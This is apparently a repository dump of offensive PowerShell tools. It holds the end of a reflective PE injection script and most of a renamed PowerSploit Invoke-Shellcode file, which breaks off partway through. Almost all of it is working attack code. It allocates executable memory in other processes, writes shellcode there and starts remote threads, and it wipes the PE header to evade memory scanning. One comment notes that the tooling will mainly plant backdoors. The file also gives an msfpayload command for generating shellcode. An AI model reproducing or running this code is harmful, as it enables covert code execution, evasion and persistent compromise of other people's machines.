$PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) 2514 | if ($Success -eq $false) 2515 | { 2516 | Throw "Unable to write shellcode to remote process memory." 2517 | } 2518 | } 2519 | 2520 | 2521 | #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function 2522 | if ($PEInfo.FileType -ieq "DLL") 2523 | { 2524 | if ($RemoteLoading -eq $false) 2525 | { 2526 | Write-Verbose "Calling dllmain so the DLL knows it has been loaded" 2527 | $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) 2528 | $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) 2529 | $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) 2530 | 2531 | $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null 2532 | } 2533 | else 2534 | { 2535 | $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) 2536 | 2537 | if ($PEInfo.PE64Bit -eq $true) 2538 | { 2539 | #Shellcode: CallDllMain.asm 2540 | $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) 2541 | $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) 2542 | $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) 2543 | } 2544 | else 2545 | { 2546 | #Shellcode: CallDllMain.asm 2547 | $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) 2548 | $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) 2549 | $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) 2550 | } 2551 | $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) 2552 | $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) 2553 | $SCPSMemOriginal = $SCPSMem 2554 | 2555 | Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem 2556 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) 2557 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) 2558 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) 2559 | Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem 2560 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) 2561 | [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) 2562 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) 2563 | Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem 2564 | $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) 2565 | 2566 | $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) 2567 | if ($RSCAddr -eq [IntPtr]::Zero) 2568 | { 2569 | Throw "Unable to allocate memory in the remote process for shellcode" 2570 | } 2571 | 2572 | $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) 2573 | if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) 2574 | { 2575 | Throw "Unable to write shellcode to remote process memory." 2576 | } 2577 | 2578 | $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions 2579 | $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) 2580 | if ($Result -ne 0) 2581 | { 2582 | Throw "Call to CreateRemoteThread to call GetProcAddress failed." 2583 | } 2584 | 2585 | $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null 2586 | } 2587 | } 2588 | elseif ($PEInfo.FileType -ieq "EXE") 2589 | { 2590 | #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process 2591 | [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) 2592 | [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) 2593 | $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr 2594 | 2595 | #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread 2596 | # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. 2597 | [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) 2598 | Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in." 2599 | 2600 | $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null 2601 | 2602 | while($true) 2603 | { 2604 | [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) 2605 | if ($ThreadDone -eq 1) 2606 | { 2607 | Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants 2608 | Write-Verbose "EXE thread has completed." 2609 | break 2610 | } 2611 | else 2612 | { 2613 | Start-Sleep -Seconds 1 2614 | } 2615 | } 2616 | } 2617 | 2618 | return @($PEInfo.PEHandle, $EffectivePEHandle) 2619 | } 2620 | 2621 | 2622 | Function Invoke-MemoryFreeLibrary 2623 | { 2624 | Param( 2625 | [Parameter(Position=0, Mandatory=$true)] 2626 | [IntPtr] 2627 | $PEHandle 2628 | ) 2629 | 2630 | #Get Win32 constants and functions 2631 | $Win32Constants = Get-Win32Constants 2632 | $Win32Functions = Get-Win32Functions 2633 | $Win32Types = Get-Win32Types 2634 | 2635 | $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants 2636 | 2637 | #Call FreeLibrary for all the imports of the DLL 2638 | if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) 2639 | { 2640 | [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) 2641 | 2642 | while ($true) 2643 | { 2644 | $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) 2645 | 2646 | #If the structure is null, it signals that this is the end of the array 2647 | if ($ImportDescriptor.Characteristics -eq 0 ` 2648 | -and $ImportDescriptor.FirstThunk -eq 0 ` 2649 | -and $ImportDescriptor.ForwarderChain -eq 0 ` 2650 | -and $ImportDescriptor.Name -eq 0 ` 2651 | -and $ImportDescriptor.TimeDateStamp -eq 0) 2652 | { 2653 | Write-Verbose "Done unloading the libraries needed by the PE" 2654 | break 2655 | } 2656 | 2657 | $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) 2658 | $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) 2659 | 2660 | if ($ImportDllHandle -eq $null) 2661 | { 2662 | Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue 2663 | } 2664 | 2665 | $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) 2666 | if ($Success -eq $false) 2667 | { 2668 | Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue 2669 | } 2670 | 2671 | $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) 2672 | } 2673 | } 2674 | 2675 | #Call DllMain with process detach 2676 | Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" 2677 | $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) 2678 | $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) 2679 | $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) 2680 | 2681 | $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null 2682 | 2683 | 2684 | $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) 2685 | if ($Success -eq $false) 2686 | { 2687 | Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue 2688 | } 2689 | } 2690 | 2691 | 2692 | Function Main 2693 | { 2694 | $Win32Functions = Get-Win32Functions 2695 | $Win32Types = Get-Win32Types 2696 | $Win32Constants = Get-Win32Constants 2697 | 2698 | $RemoteProcHandle = [IntPtr]::Zero 2699 | 2700 | #If a remote process to inject in to is specified, get a handle to it 2701 | if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) 2702 | { 2703 | Throw "Can't supply a ProcId and ProcName, choose one or the other" 2704 | } 2705 | elseif ($ProcName -ne $null -and $ProcName -ne "") 2706 | { 2707 | $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) 2708 | if ($Processes.Count -eq 0) 2709 | { 2710 | Throw "Can't find process $ProcName" 2711 | } 2712 | elseif ($Processes.Count -gt 1) 2713 | { 2714 | $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId 2715 | Write-Output $ProcInfo 2716 | Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." 2717 | } 2718 | else 2719 | { 2720 | $ProcId = $Processes[0].ID 2721 | } 2722 | } 2723 | 2724 | #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. 2725 | #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege 2726 | # if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) 2727 | # { 2728 | # Write-Verbose "Getting SeDebugPrivilege" 2729 | # Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants 2730 | # } 2731 | 2732 | if (($ProcId -ne $null) -and ($ProcId -ne 0)) 2733 | { 2734 | $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) 2735 | if ($RemoteProcHandle -eq [IntPtr]::Zero) 2736 | { 2737 | Throw "Couldn't obtain the handle for process ID: $ProcId" 2738 | } 2739 | 2740 | Write-Verbose "Got the handle for the remote process to inject in to" 2741 | } 2742 | 2743 | 2744 | #Load the PE reflectively 2745 | Write-Verbose "Calling Invoke-MemoryLoadLibrary" 2746 | $PEHandle = [IntPtr]::Zero 2747 | if ($RemoteProcHandle -eq [IntPtr]::Zero) 2748 | { 2749 | $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR 2750 | } 2751 | else 2752 | { 2753 | $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR 2754 | } 2755 | if ($PELoadedInfo -eq [IntPtr]::Zero) 2756 | { 2757 | Throw "Unable to load PE, handle returned is NULL" 2758 | } 2759 | 2760 | $PEHandle = $PELoadedInfo[0] 2761 | $RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process 2762 | 2763 | 2764 | #Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function. 2765 | $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants 2766 | if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) 2767 | { 2768 | ######################################### 2769 | ### YOUR CODE GOES HERE 2770 | ######################################### 2771 | switch ($FuncReturnType) 2772 | { 2773 | 'WString' { 2774 | Write-Verbose "Calling function with WString return type" 2775 | [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc" 2776 | if ($WStringFuncAddr -eq [IntPtr]::Zero) 2777 | { 2778 | Throw "Couldn't find function address." 2779 | } 2780 | $WStringFuncDelegate = Get-DelegateType @() ([IntPtr]) 2781 | $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) 2782 | [IntPtr]$OutputPtr = $WStringFunc.Invoke() 2783 | $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) 2784 | Write-Output $Output 2785 | } 2786 | 2787 | 'String' { 2788 | Write-Verbose "Calling function with String return type" 2789 | [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc" 2790 | if ($StringFuncAddr -eq [IntPtr]::Zero) 2791 | { 2792 | Throw "Couldn't find function address." 2793 | } 2794 | $StringFuncDelegate = Get-DelegateType @() ([IntPtr]) 2795 | $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate) 2796 | [IntPtr]$OutputPtr = $StringFunc.Invoke() 2797 | $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr) 2798 | Write-Output $Output 2799 | } 2800 | 2801 | 'Void' { 2802 | Write-Verbose "Calling function with Void return type" 2803 | [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" 2804 | if ($VoidFuncAddr -eq [IntPtr]::Zero) 2805 | { 2806 | Throw "Couldn't find function address." 2807 | } 2808 | $VoidFuncDelegate = Get-DelegateType @() ([Void]) 2809 | $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate) 2810 | $VoidFunc.Invoke() | Out-Null 2811 | } 2812 | } 2813 | ######################################### 2814 | ### END OF YOUR CODE 2815 | ######################################### 2816 | } 2817 | #For remote DLL injection, call a void function which takes no parameters 2818 | elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) 2819 | { 2820 | $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" 2821 | if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) 2822 | { 2823 | Throw "VoidFunc couldn't be found in the DLL" 2824 | } 2825 | 2826 | $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle 2827 | $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle 2828 | 2829 | #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors 2830 | $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions 2831 | } 2832 | 2833 | #Don't free a library if it is injected in a remote process or if it is an EXE. 2834 | #Note that all DLL's loaded by the EXE will remain loaded in memory. 2835 | if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL") 2836 | { 2837 | Invoke-MemoryFreeLibrary -PEHandle $PEHandle 2838 | } 2839 | else 2840 | { 2841 | #Delete the PE file from memory. 2842 | $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) 2843 | if ($Success -eq $false) 2844 | { 2845 | Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue 2846 | } 2847 | } 2848 | 2849 | Write-Verbose "Done!" 2850 | } 2851 | 2852 | Main 2853 | } 2854 | 2855 | #Main function to either run the script locally or remotely 2856 | Function Main 2857 | { 2858 | if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) 2859 | { 2860 | $DebugPreference = "Continue" 2861 | } 2862 | 2863 | Write-Verbose "PowerShell ProcessID: $PID" 2864 | 2865 | #Verify the image is a valid PE file 2866 | $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join '' 2867 | 2868 | if ($e_magic -ne 'MZ') 2869 | { 2870 | throw 'PE is not a valid PE file.' 2871 | } 2872 | 2873 | if (-not $DoNotZeroMZ) { 2874 | # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg 2875 | # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be. 2876 | $PEBytes[0] = 0 2877 | $PEBytes[1] = 0 2878 | } 2879 | 2880 | #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1) 2881 | if ($ExeArgs -ne $null -and $ExeArgs -ne '') 2882 | { 2883 | $ExeArgs = "ReflectiveExe $ExeArgs" 2884 | } 2885 | else 2886 | { 2887 | $ExeArgs = "ReflectiveExe" 2888 | } 2889 | 2890 | if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") 2891 | { 2892 | Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) 2893 | } 2894 | else 2895 | { 2896 | Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName 2897 | } 2898 | } 2899 | 2900 | Main 2901 | } 2902 | -------------------------------------------------------------------------------- /hosted/Invoke-Shellcode.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-CHANGE_ME_HERE 2 | { 3 | <# 4 | .SYNOPSIS 5 | 6 | Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process. 7 | 8 | PowerSploit Function: Invoke-Shellcode 9 | Author: Matthew Graeber (@mattifestation) 10 | License: BSD 3-Clause 11 | Required Dependencies: None 12 | Optional Dependencies: None 13 | 14 | .DESCRIPTION 15 | 16 | Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre 17 | 18 | PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk): 19 | 20 | msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- 21 | 22 | Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary. 23 | 24 | .PARAMETER ProcessID 25 | 26 | Process ID of the process you want to inject shellcode into. 27 | 28 | .PARAMETER Shellcode 29 | 30 | Specifies an optional shellcode passed in as a byte array 31 | 32 | .PARAMETER Force 33 | 34 | Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act. 35 | 36 | .EXAMPLE 37 | 38 | C:\PS> Invoke-Shellcode -ProcessId 4274 39 | 40 | Description 41 | ----------- 42 | Inject shellcode into process ID 4274. 43 | 44 | .EXAMPLE 45 | 46 | C:\PS> Invoke-Shellcode 47 | 48 | Description 49 | ----------- 50 | Inject shellcode into the running instance of PowerShell. 51 | 52 | .EXAMPLE 53 | 54 | C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) 55 | 56 | Description 57 | ----------- 58 | Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET) 59 | Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit! 60 | #> 61 | 62 | [CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param ( 63 | [ValidateNotNullOrEmpty()] 64 | [UInt16] 65 | $ProcessID, 66 | 67 | [Parameter( ParameterSetName = 'RunLocal' )] 68 | [ValidateNotNullOrEmpty()] 69 | [Byte[]] 70 | $Shellcode, 71 | 72 | [Switch] 73 | $Force = $False 74 | ) 75 | 76 | Set-StrictMode -Version 2.0 77 | 78 | if ( $PSBoundParameters['ProcessID'] ) 79 | { 80 | # Ensure a valid process ID was provided 81 | # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive 82 | Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null 83 | } 84 | 85 | function Local:Get-DelegateType 86 | { 87 | Param 88 | ( 89 | [OutputType([Type])] 90 | 91 | [Parameter( Position = 0)] 92 | [Type[]] 93 | $Parameters = (New-Object Type[](0)), 94 | 95 | [Parameter( Position = 1 )] 96 | [Type] 97 | $ReturnType = [Void] 98 | ) 99 | 100 | $Domain = [AppDomain]::CurrentDomain 101 | $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') 102 | $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) 103 | $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) 104 | $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) 105 | $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) 106 | $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') 107 | $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) 108 | $MethodBuilder.SetImplementationFlags('Runtime, Managed') 109 | 110 | Write-Output $TypeBuilder.CreateType() 111 | } 112 | 113 | function Local:Get-ProcAddress 114 | { 115 | Param 116 | ( 117 | [OutputType([IntPtr])] 118 | 119 | [Parameter( Position = 0, Mandatory = $True )] 120 | [String] 121 | $Module, 122 | 123 | [Parameter( Position = 1, Mandatory = $True )] 124 | [String] 125 | $Procedure 126 | ) 127 | 128 | # Get a reference to System.dll in the GAC 129 | $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | 130 | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } 131 | $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') 132 | # Get a reference to the GetModuleHandle and GetProcAddress methods 133 | $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') 134 | $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') 135 | # Get a handle to the module specified 136 | $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) 137 | $tmpPtr = New-Object IntPtr 138 | $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) 139 | 140 | # Return the address of the function 141 | Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) 142 | } 143 | 144 | # Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload 145 | function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture) 146 | { 147 | $IntSizePtr = $Architecture / 8 148 | 149 | function Local:ConvertTo-LittleEndian ([IntPtr] $Address) 150 | { 151 | $LittleEndianByteArray = New-Object Byte[](0) 152 | $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } } 153 | [System.Array]::Reverse($LittleEndianByteArray) 154 | 155 | Write-Output $LittleEndianByteArray 156 | } 157 | 158 | $CallStub = New-Object Byte[](0) 159 | 160 | if ($IntSizePtr -eq 8) 161 | { 162 | [Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode 163 | $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode 164 | $CallStub += 0xFF,0xD0 # CALL RAX 165 | $CallStub += 0x6A,0x00 # PUSH BYTE 0 166 | $CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread 167 | $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread 168 | $CallStub += 0xFF,0xD0 # CALL RAX 169 | } 170 | else 171 | { 172 | [Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode 173 | $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode 174 | $CallStub += 0xFF,0xD0 # CALL EAX 175 | $CallStub += 0x6A,0x00 # PUSH BYTE 0 176 | $CallStub += 0xB8 # MOV DWORD EAX, &ExitThread 177 | $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread 178 | $CallStub += 0xFF,0xD0 # CALL EAX 179 | } 180 | 181 | Write-Output $CallStub 182 | } 183 | 184 | function Local:Inject-RemoteShellcode ([Int] $ProcessID) 185 | { 186 | # Open a handle to the process you want to inject into 187 | $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF) 188 | 189 | if (!$hProcess) 190 | { 191 | Throw "Unable to open a process handle for PID: $ProcessID" 192 | } 193 | 194 | $IsWow64 = $false 195 | 196 | if ($64bitOS) # Only perform theses checks if CPU is 64-bit 197 | { 198 | # Determine if the process specified is 32 or 64 bit 199 | $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null 200 | 201 | if ((!$IsWow64) -and $PowerShell32bit) 202 | { 203 | Throw 'Shellcode injection targeting a 64-bit process from 32-bit PowerShell is not supported. Use the 64-bit version of Powershell if you want this to work.' 204 | } 205 | elseif ($IsWow64) # 32-bit Wow64 process 206 | { 207 | if ($Shellcode32.Length -eq 0) 208 | { 209 | Throw 'No shellcode was placed in the $Shellcode32 variable!' 210 | } 211 | 212 | $Shellcode = $Shellcode32 213 | Write-Verbose 'Injecting into a Wow64 process.' 214 | Write-Verbose 'Using 32-bit shellcode.' 215 | } 216 | else # 64-bit process 217 | { 218 | if ($Shellcode64.Length -eq 0) 219 | { 220 | Throw 'No shellcode was placed in the $Shellcode64 variable!' 221 | } 222 | 223 | $Shellcode = $Shellcode64 224 | Write-Verbose 'Using 64-bit shellcode.' 225 | } 226 | } 227 | else # 32-bit CPU 228 | { 229 | if ($Shellcode32.Length -eq 0) 230 | { 231 | Throw 'No shellcode was placed in the $Shellcode32 variable!' 232 | } 233 | 234 | $Shellcode = $Shellcode32 235 | Write-Verbose 'Using 32-bit shellcode.' 236 | } 237 | 238 | # Reserve and commit enough memory in remote process to hold the shellcode 239 | $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) 240 | 241 | if (!$RemoteMemAddr) 242 | { 243 | Throw "Unable to allocate shellcode memory in PID: $ProcessID" 244 | } 245 | 246 | Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))" 247 | 248 | # Copy shellcode into the previously allocated memory 249 | $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null 250 | 251 | # Get address of ExitThread function 252 | $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread 253 | 254 | if ($IsWow64) 255 | { 256 | # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread. 257 | $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32 258 | 259 | Write-Verbose 'Emitting 32-bit assembly call stub.' 260 | } 261 | else 262 | { 263 | # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread. 264 | $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64 265 | 266 | Write-Verbose 'Emitting 64-bit assembly call stub.' 267 | } 268 | 269 | # Allocate inline assembly stub 270 | $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX) 271 | 272 | if (!$RemoteStubAddr) 273 | { 274 | Throw "Unable to allocate thread call stub memory in PID: $ProcessID" 275 | } 276 | 277 | Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))" 278 | 279 | # Write 32-bit assembly stub to remote process memory space 280 | 